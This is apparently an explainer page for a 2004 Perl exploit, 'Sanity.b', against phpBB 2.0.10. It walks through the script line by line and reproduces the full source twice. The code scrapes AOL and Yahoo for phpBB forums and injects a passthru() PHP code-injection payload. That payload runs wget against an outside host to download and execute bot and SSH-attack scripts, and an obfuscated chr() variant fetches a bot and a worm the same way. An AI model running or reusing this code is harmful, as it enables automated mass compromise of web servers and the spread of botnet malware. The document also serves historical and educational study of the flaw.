Sanity.b - phpBB 2.0.10 Bot Install Exploit Explained

Sanity.b - phpBB 2.0.10 Bot Install Exploit Explained
What this paper is
This paper, "Sanity.b - phpBB 2.0.10 Bot Install (AOL/Yahoo Search)", published in December 2004, describes a Perl script designed to exploit a vulnerability in phpBB version 2.0.10. The exploit leverages search engine results from AOL and Yahoo to locate vulnerable phpBB installations. Once a vulnerable site is found, the script attempts to inject a command that downloads and executes a malicious bot from a remote server.
Simple technical breakdown
The script works in two main phases:
- Discovery: It uses search engines (AOL and Yahoo) to find URLs that are likely to be running a vulnerable phpBB instance. It crafts specific search queries that, when processed by the search engine, return results containing links to phpBB forums. The script then parses these search results to extract potential target URLs.
- Exploitation: For each discovered URL, the script constructs a malicious request. This request is designed to be interpreted by the phpBB application in a way that allows arbitrary command execution. Specifically, it tries to inject a command that tells the server to download a bot (malicious script) from a predefined location and then execute it.
The core of the exploit relies on how phpBB (or potentially a misconfiguration) handles certain GET parameters, allowing them to be interpreted as commands.
Complete code and payload walkthrough
The provided Perl script is divided into several sections.
#/usr/bin/perl
use IO::Socket;
use LWP::Simple;
@vul = "";
$a=0;
$numero = int rand(999);
$site = "search.aol.com";
$procura = "viewtopic.php%3Ft%3D$numero";#!/usr/bin/perl: This is the shebang line, indicating that the script should be executed using the Perl interpreter.use IO::Socket;: Imports theIO::Socketmodule, which is used for network communication (creating socket connections).use LWP::Simple;: Imports theLWP::Simplemodule, which provides simple functions for making HTTP requests (likeget).@vul = "";: Initializes an empty array named@vul. This array will store the URLs of potentially vulnerable phpBB installations found during the discovery phase.$a=0;: Initializes a counter variable$ato 0. This variable is used as an index for the@vularray.$numero = int rand(999);: Generates a random integer between 0 and 998 (inclusive). This random number is used to create a unique search query, making it less likely to hit cached results or predictable patterns.$site = "search.aol.com";: Sets the target search engine domain to AOL.$procura = "viewtopic.php%3Ft%3D$numero";: Constructs the search query string.viewtopic.php%3Ft%3Dis a common pattern in phpBB for viewing a specific topic. The%3Ftis the URL-encoded representation of?t=. This query aims to find phpBB topics.
######################################
for($n=0;$n<90;$n += 10){
$sock = IO::Socket::INET->new(PeerAddr=>"$site",PeerPort=>"80",Proto=>"tcp") or next;
print $sock "GET /aolcom/search?q=$procura&Stage=0&page=$n HTTP/1.0\n\n";
@resu = <$sock>;
close($sock);
$ae = "@resu";
while ($ae=~ m/<a href=.*?>.*?<\/a>/){
$ae=~ s/<a href=(.*?)>.*?<\/a>/$1/;
$uber=$1;
if ($uber !~/translate/)
{if ($uber !~ /cache/)
{if ($uber !~ /"/)
{if ($uber !~ /google/)
{if ($uber !~ /216/)
{if ($uber =~/http/)
{if ($uber !~ /start=/)
{
if ($uber =~/&/)
{
$nu = index $uber, '&';
$uber = substr($uber,0,$nu);
}
$vul[$a] = $uber;
$a++;
}}}}}}}}}
##########################for($n=0;$n<90;$n += 10): This loop iterates through different pages of search results from AOL. It starts at page 0, increments by 10 (likely to simulate different page offsets in search results), and continues up to page 80.$sock = IO::Socket::INET->new(PeerAddr=>"$site",PeerPort=>"80",Proto=>"tcp") or next;: Creates a new TCP socket connection to the AOL search server on port 80 (HTTP). If the connection fails, it skips to the next iteration of the loop (next).print $sock "GET /aolcom/search?q=$procura&Stage=0&page=$n HTTP/1.0\n\n";: Sends an HTTP GET request to AOL.q=$procura: The search query we constructed earlier.Stage=0: This parameter seems arbitrary and might be part of a specific search engine's internal logic or an attempt to bypass filters.page=$n: Specifies the current page of search results.HTTP/1.0\n\n: Standard HTTP/1.0 request with an empty line to signify the end of headers.
@resu = <$sock>;: Reads all lines from the socket response into the array@resu. This contains the HTML content of the search results page.close($sock);: Closes the socket connection.$ae = "@resu";: Joins all elements of the@resuarray into a single string$ae. This makes it easier to perform regular expression matching on the entire HTML content.while ($ae=~ m/<a href=.*?>.*?<\/a>/): This loop repeatedly searches for HTML anchor tags (<a>) within the$aestring.m/<a href=.*?>.*?<\/a>/: This regular expression matches an<a>tag, including itshrefattribute and the text content between the tags.
$ae=~ s/<a href=(.*?)>.*?<\/a>/$1/;: This is a substitution operation. It finds the matched<a>tag and replaces it with the content captured by the first capturing group(.*?)within thehrefattribute. Essentially, it extracts the URL from thehref.$uber=$1;: Assigns the extracted URL to the variable$uber.if ($uber !~/translate/) { ... }: A series of nestedifconditions are used to filter the extracted URLs. The goal is to find URLs that are likely to be phpBB forum pages and not irrelevant links.!~/translate/: Excludes links containing "translate".!~/cache/: Excludes cache links.!~/"/: Excludes links containing double quotes (likely malformed or internal links).!~/google/: Excludes links pointing to Google.!~/216/: This is an unusual filter. It might be trying to exclude IP addresses or specific subnets that are known to be safe or irrelevant. Without more context, its exact purpose is unclear.=~/http/: Ensures the extracted URL starts with "http", meaning it's a valid absolute URL.!~/start=/: Excludes links that seem to be pagination parameters (e.g.,start=10). This is to avoid getting links that are already deep into pagination.
if ($uber =~/&/) { ... }: If the URL contains an ampersand (&), it's likely that there are additional query parameters beyond the target URL.$nu = index $uber, '&';: Finds the position of the first ampersand.$uber = substr($uber,0,$nu);: Truncates the URL at the ampersand, keeping only the part before it. This aims to isolate the base URL of the phpBB forum.
$vul[$a] = $uber;: Stores the cleaned-up potential vulnerable URL in the@vularray.$a++;: Increments the array index.
##########################
for($cadenu=1;$cadenu <= 99; $cadenu +=10){
@cade = get("http://cade.search.yahoo.com/search?p=$procura&ei=UTF-8&fl=0&all=1&pstart=
1&b=$cadenu") or next;
$ae = "@cade";
while ($ae=~ m/<em class=yschurl>.*?<\/em>/){
$ae=~ s/<em class=yschurl>(.*?)<\/em>/$1/;
$uber=$1;
$uber =~ s/ //g;
$uber =~ s/<b>//g;
$uber =~ s/<\/b>//g;
$uber =~ s/<wbr>//g;
if ($uber =~/&/)
{
$nu = index $uber, '&';
$uber = substr($uber,0,$nu);
}
$vul[$a] = $uber;
$a++
}}
#########################for($cadenu=1;$cadenu <= 99; $cadenu +=10): This loop is similar to the AOL loop but targets Yahoo search results. It iterates through pages starting from 1, incrementing by 10, up to 99.@cade = get("http://cade.search.yahoo.com/search?p=$procura&ei=UTF-8&fl=0&all=1&pstart= 1&b=$cadenu") or next;: UsesLWP::Simple::getto fetch the search results from Yahoo.p=$procura: The same search query.ei=UTF-8: Specifies character encoding.fl=0&all=1: Likely Yahoo-specific search parameters.pstart=1: Another parameter, possibly related to pagination or starting point.b=$cadenu: This parameter is used to control the starting result number for the page, similar to thepageparameter in the AOL search.
$ae = "@cade";: Joins the Yahoo search result lines into a single string.while ($ae=~ m/<em class=yschurl>.*?<\/em>/): This loop searches for specific HTML tags used by Yahoo to display URLs, which are<em class=yschurl>.$ae=~ s/<em class=yschurl>(.*?)<\/em>/$1/;: Extracts the content within the<em class=yschurl>tags, which is the URL.$uber=$1;: Assigns the extracted URL to$uber.$uber =~ s/ //g; $uber =~ s/<b>//g; $uber =~ s/<\/b>//g; $uber =~ s/<wbr>//g;: These lines clean up the extracted URL by removing common HTML entities or tags that might be present within the URL display by Yahoo (spaces, bold tags, word break tags).if ($uber =~/&/) { ... }: Similar to the AOL section, this truncates the URL at the first ampersand to isolate the base URL.$vul[$a] = $uber;: Stores the cleaned URL in the@vularray.$a++: Increments the array index.
#########################
#$cmd = '&highlight=%2527%252esystem(chr(99)%252echr(100)%252echr(32)%252echr(47)
%252echr(116)%252echr(109)%252echr(112)%252echr(59)%252echr(119)%252echr(103)%2
52echr(101)%252echr(116)%252echr(32)%252echr(119)%252echr(119)%252echr(119)%252e
chr(46)%252echr(116)%252echr(101)%252echr(110)%252echr(104)%252echr(97)%252echr
(115)%252echr(101)%252echr(117)%252echr(115)%252echr(105)%252echr(116)%252echr
(101)%252echr(46)%252echr(99)%252echr(111)%252echr(109)%252echr(47)%252echr(98)%252echr(111)%252echr(116)%252echr(46)%252echr(116)%252echr(120)%252echr(116)%252
echr(59)%252echr(112)%252echr(101)%252echr(114)%252echr(108)%252echr(32)%252echr
(98)%252echr(111)%252echr(116)%252echr(46)%252echr(116)%252echr(120)%252echr(116)
%252echr(59)%252echr(119)%252echr(103)%252echr(101)%252echr(116)%252echr(32)%252
echr(119)%252echr(119)%252echr(119)%252echr(46)%252echr(116)%252echr(101)%252echr
(110)%252echr(104)%252echr(97)%252echr(115)%252echr(101)%252echr(117)%252echr(115)
%252echr(105)%252echr(116)%252echr(101)%252echr(46)%252echr'.'(99)%252echr(111)%25
2echr(109)%252echr(47)%252echr(119)%252echr(111)%252echr(114)%252echr(109)%252echr
(46)%252echr(116)%252echr(120)%252echr(116)%252echr(59)%252echr(112)%252echr(101)%25
2echr(114)%252echr(108)%252echr(32)%252echr(119)%252echr(111)%252echr(114)%25
2echr(109)%252echr(46)%252echr(116)%252echr(120)%252echr(116))%252e%2527';
$cmd = '&rush=%65%63%68%6F%20%5F%53%54%41%52%54%5F%3B%20cd /tmp;wget
server.org/pdf/bot;perl bot;wget server.org/pdf/ssh.a;perl ssh.a;rm -rf ssh.*;rm -rf bot*%3B%
20%65%63%68%6F%20%5F%45%4E%44%5F&highlight=%2527.%70%61%73%73%74%68%72
%75%28%24%48%54%54%50%5F%47%45%54%5F%56%41%52%53%5B%72%75%73%68%5
D%29.%2527';#$cmd = '...': This line is commented out. It appears to be an older or alternative payload that was not used in the final version of the script. Let's decode the URL-encoded parts to understand it:%2527decodes to%27(single quote).%27%27decodes to''(empty string).%2527%252esystem(chr(99)%252echr(100)%252echr(32)%252echr(47)%252echr(116)%252echr(109)%252echr(112)%252echr(59)%252echr(119)%252echr(103)%252echr(101)%252echr(116)%252echr(32)%252echr(119)%252echr(119)%252echr(119)%252e%252echr(116)%252echr(101)%252echr(110)%252echr(104)%252echr(97)%252echr(115)%252echr(101)%252echr(117)%252echr(115)%252echr(105)%252echr(116)%252echr(101)%252echr(46)%252echr(99)%252echr(111)%252echr(109)%252echr(47)%252echr(98)%252echr(111)%252echr(116)%252echr(46)%252echr(116)%252echr(120)%252echr(116)%252echr(59)%252echr(112)%252echr(101)%252echr(114)%252echr(108)%252echr(32)%252echr(98)%252echr(111)%252echr(116)%252echr(46)%252echr(116)%252echr(120)%252echr(116)%252echr(59)%252echr(119)%252echr(103)%252echr(101)%252echr(116)%252echr(32)%252echr(119)%252echr(119)%252echr(119)%252echr(46)%252echr(116)%252echr(101)%252echr(110)%252echr(104)%252echr(97)%252echr(115)%252echr(101)%252echr(117)%252echr(115)%252echr(105)%252echr(116)%252echr(101)%252echr(46)%252echr(99)%252echr(111)%252echr(109)%252echr(47)%252echr(119)%252echr(111)%252echr(114)%252echr(109)%252echr(46)%252echr(116)%252echr(120)%252echr(116)%252echr(59)%252echr(112)%252echr(101)%252echr(114)%252echr(108)%252echr(32)%252echr(119)%252echr(111)%252echr(114)%252echr(109)%252echr(46)%252echr(116)%252echr(120)%252echr(116))%252e%2527- Decoding the inner
chr()calls:chr(99)->cchr(100)->dchr(32)->(space)chr(47)->/chr(116)->tchr(109)->mchr(112)->pchr(59)->;chr(119)->wchr(103)->gchr(101)->echr(116)->tchr(46)->.chr(110)->nchr(104)->hchr(97)->achr(115)->schr(101)->echr(117)->uchr(115)->schr(105)->ichr(116)->tchr(101)->echr(99)->cchr(111)->ochr(109)->mchr(47)->/chr(98)->bchr(111)->ochr(116)->tchr(46)->.chr(116)->tchr(120)->xchr(116)->tchr(59)->;chr(112)->pchr(101)->echr(114)->rchr(108)->lchr(32)->chr(119)->wchr(111)->ochr(114)->rchr(109)->mchr(46)->.chr(116)->tchr(120)->xchr(116)->t
- The decoded command is:
';system(cd /tmp;wget www.tenahauseusite.com/bot.txt;perl bot.txt;wget www.tenahauseusite.com/worm.txt;perl worm.txt;rm -rf ssh.*;rm -rf bot*)'; - This payload attempts to:
- Execute
cd /tmp;to change the directory to/tmp. wget www.tenahauseusite.com/bot.txt;: Download a file namedbot.txtfromwww.tenahauseusite.com.perl bot.txt;: Execute the downloadedbot.txtfile using Perl.wget www.tenahauseusite.com/worm.txt;: Download another file namedworm.txt.perl worm.txt;: Execute the downloadedworm.txtfile.rm -rf ssh.*;rm -rf bot*: Clean up any downloaded files starting withssh.orbot.
- Execute
- The surrounding
%2527and%2527(which decode to%27and%27) suggest it's trying to inject this command within a string context, possibly exploiting a SQL injection or a PHP code injection vulnerability. Thehighlight=parameter is often used in search results to highlight terms, and if it's not properly sanitized, it can be a vector for code injection.
$cmd = '&rush=%65%63%68%6F%20%5F%53%54%41%52%54%5F%3B%20cd /tmp;wget server.org/pdf/bot;perl bot;wget server.org/pdf/ssh.a;perl ssh.a;rm -rf ssh.*;rm -rf bot*%3B%20%65%63%68%6F%20%5F%45%4E%44%5F&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5F%47%45%54%5F%56%41%52%53%5B%72%75%73%68%5D%29.%2527';: This is the active payload. Let's decode it.%65%63%68%6F->echo%20->(space)%5F%53%54%41%52%54%5F->_START_%3B->;cd /tmp;-> Change directory to/tmp.wget server.org/pdf/bot;-> Downloadbotfromserver.org/pdf/.perl bot;-> Execute the downloadedbot.wget server.org/pdf/ssh.a;-> Downloadssh.afromserver.org/pdf/.perl ssh.a;-> Execute the downloadedssh.a.rm -rf ssh.*;rm -rf bot*-> Clean up downloaded files.%3B%20%65%63%68%6F%20%5F%45%4E%44%5F->; echo _END_- The
&rush=...part is the main command. - The
&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5F%47%45%54%5F%56%41%52%53%5B%72%75%73%68%5D%29.%2527part is interesting. Let's decode thehighlightpart:%2527->%27->'(single quote).->.%70%61%73%73%74%68%72%75->pasthru%28->(%24%48%54%54%50%5F%47%45%54%5F%56%41%52%53%5B%72%75%73%68%5D->$HTTP_GET_VARS[rush]%29->).->.%2527->%27->'(single quote)
- So, the
highlightparameter decodes to:'.passthru($HTTP_GET_VARS[rush]).' - This is a classic PHP code injection technique. The
passthru()function in PHP executes a command and displays its output. By injecting'.passthru($HTTP_GET_VARS[rush]).', the script is telling the vulnerable PHP application to take the value of therushGET parameter, treat it as a shell command, execute it, and output the result. The surrounding single quotes and dots are to concatenate this into an existing string context, likely within aechoor similar statement.
$b = scalar(@vul);
for($a=0;$a<=$b;$a++)
{
$sitevul = $vul[$a].$cmd;
if($sitevul !~/http/){ $sitevul = 'http://'.$sitevul; }
$res = get($sitevul) or next;
}
# milw0rm.com [2004-12-25]$b = scalar(@vul);: Gets the total number of URLs found and stored in the@vularray.for($a=0;$a<=$b;$a++): This loop iterates through each discovered URL. Note that it iterates one element past the last index ($b), which might lead to an error if$vul[$b]is accessed and$bis the exact size of the array. A more robust loop would befor($a=0; $a < $b; $a++).$sitevul = $vul[$a].$cmd;: Concatenates the current vulnerable URL with the exploit command string ($cmd). This creates the full URL that will be requested.if($sitevul !~/http/){ $sitevul = 'http://'.$sitevul; }: Ensures that the URL starts withhttp://. If it doesn't (e.g., if the search result was just a domain name), it prependshttp://.$res = get($sitevul) or next;: UsesLWP::Simple::getto send the crafted malicious request to the target URL. Theor nextmeans if thegetrequest fails (e.g., connection refused, server error), it skips to the next URL. The output of thegetrequest is stored in$res, but it's not explicitly used for anything further in this script. The primary goal is the side effect of the command execution on the target server.
Code Fragment/Block -> Practical Purpose Mapping:
| Code Fragment/Block
Original Exploit-DB Content (Verbatim)
#/usr/bin/perl
use IO::Socket;
use LWP::Simple;
@vul = "";
$a=0;
$numero = int rand(999);
$site = "search.aol.com";
$procura = "viewtopic.php%3Ft%3D$numero";
######################################
for($n=0;$n<90;$n += 10){
$sock = IO::Socket::INET->new(PeerAddr=>"$site",PeerPort=>"80",Proto=>"tcp") or next;
print $sock "GET /aolcom/search?q=$procura&Stage=0&page=$n HTTP/1.0\n\n";
@resu = <$sock>;
close($sock);
$ae = "@resu";
while ($ae=~ m/<a href=.*?>.*?<\/a>/){
$ae=~ s/<a href=(.*?)>.*?<\/a>/$1/;
$uber=$1;
if ($uber !~/translate/)
{if ($uber !~ /cache/)
{if ($uber !~ /"/)
{if ($uber !~ /google/)
{if ($uber !~ /216/)
{if ($uber =~/http/)
{if ($uber !~ /start=/)
{
if ($uber =~/&/)
{
$nu = index $uber, '&';
$uber = substr($uber,0,$nu);
}
$vul[$a] = $uber;
$a++;
}}}}}}}}}
##########################
for($cadenu=1;$cadenu <= 99; $cadenu +=10){
@cade = get("http://cade.search.yahoo.com/search?p=$procura&ei=UTF-8&fl=0&all=1&pstart=
1&b=$cadenu") or next;
$ae = "@cade";
while ($ae=~ m/<em class=yschurl>.*?<\/em>/){
$ae=~ s/<em class=yschurl>(.*?)<\/em>/$1/;
$uber=$1;
$uber =~ s/ //g;
$uber =~ s/<b>//g;
$uber =~ s/<\/b>//g;
$uber =~ s/<wbr>//g;
if ($uber =~/&/)
{
$nu = index $uber, '&';
$uber = substr($uber,0,$nu);
}
$vul[$a] = $uber;
$a++
}}
#########################
#$cmd = '&highlight=%2527%252esystem(chr(99)%252echr(100)%252echr(32)%252echr(47)
%252echr(116)%252echr(109)%252echr(112)%252echr(59)%252echr(119)%252echr(103)%2
52echr(101)%252echr(116)%252echr(32)%252echr(119)%252echr(119)%252echr(119)%252e
chr(46)%252echr(116)%252echr(101)%252echr(110)%252echr(104)%252echr(97)%252echr
(115)%252echr(101)%252echr(117)%252echr(115)%252echr(105)%252echr(116)%252echr
(101)%252echr(46)%252echr(99)%252echr(111)%252echr(109)%252echr(47)%252echr(98)%
252echr(111)%252echr(116)%252echr(46)%252echr(116)%252echr(120)%252echr(116)%252
echr(59)%252echr(112)%252echr(101)%252echr(114)%252echr(108)%252echr(32)%252echr
(98)%252echr(111)%252echr(116)%252echr(46)%252echr(116)%252echr(120)%252echr(116)
%252echr(59)%252echr(119)%252echr(103)%252echr(101)%252echr(116)%252echr(32)%252
echr(119)%252echr(119)%252echr(119)%252echr(46)%252echr(116)%252echr(101)%252echr
(110)%252echr(104)%252echr(97)%252echr(115)%252echr(101)%252echr(117)%252echr(115)
%252echr(105)%252echr(116)%252echr(101)%252echr(46)%252echr'.'(99)%252echr(111)%25
2echr(109)%252echr(47)%252echr(119)%252echr(111)%252echr(114)%252echr(109)%252echr
(46)%252echr(116)%252echr(120)%252echr(116)%252echr(59)%252echr(112)%252echr(101)
%252echr(114)%252echr(108)%252echr(32)%252echr(119)%252echr(111)%252echr(114)%25
2echr(109)%252echr(46)%252echr(116)%252echr(120)%252echr(116))%252e%2527';
$cmd = '&rush=%65%63%68%6F%20%5F%53%54%41%52%54%5F%3B%20cd /tmp;wget
server.org/pdf/bot;perl bot;wget server.org/pdf/ssh.a;perl ssh.a;rm -rf ssh.*;rm -rf bot*%3B%
20%65%63%68%6F%20%5F%45%4E%44%5F&highlight=%2527.%70%61%73%73%74%68%72
%75%28%24%48%54%54%50%5F%47%45%54%5F%56%41%52%53%5B%72%75%73%68%5
D%29.%2527';
$b = scalar(@vul);
for($a=0;$a<=$b;$a++)
{
$sitevul = $vul[$a].$cmd;
if($sitevul !~/http/){ $sitevul = 'http://'.$sitevul; }
$res = get($sitevul) or next;
}
# milw0rm.com [2004-12-25]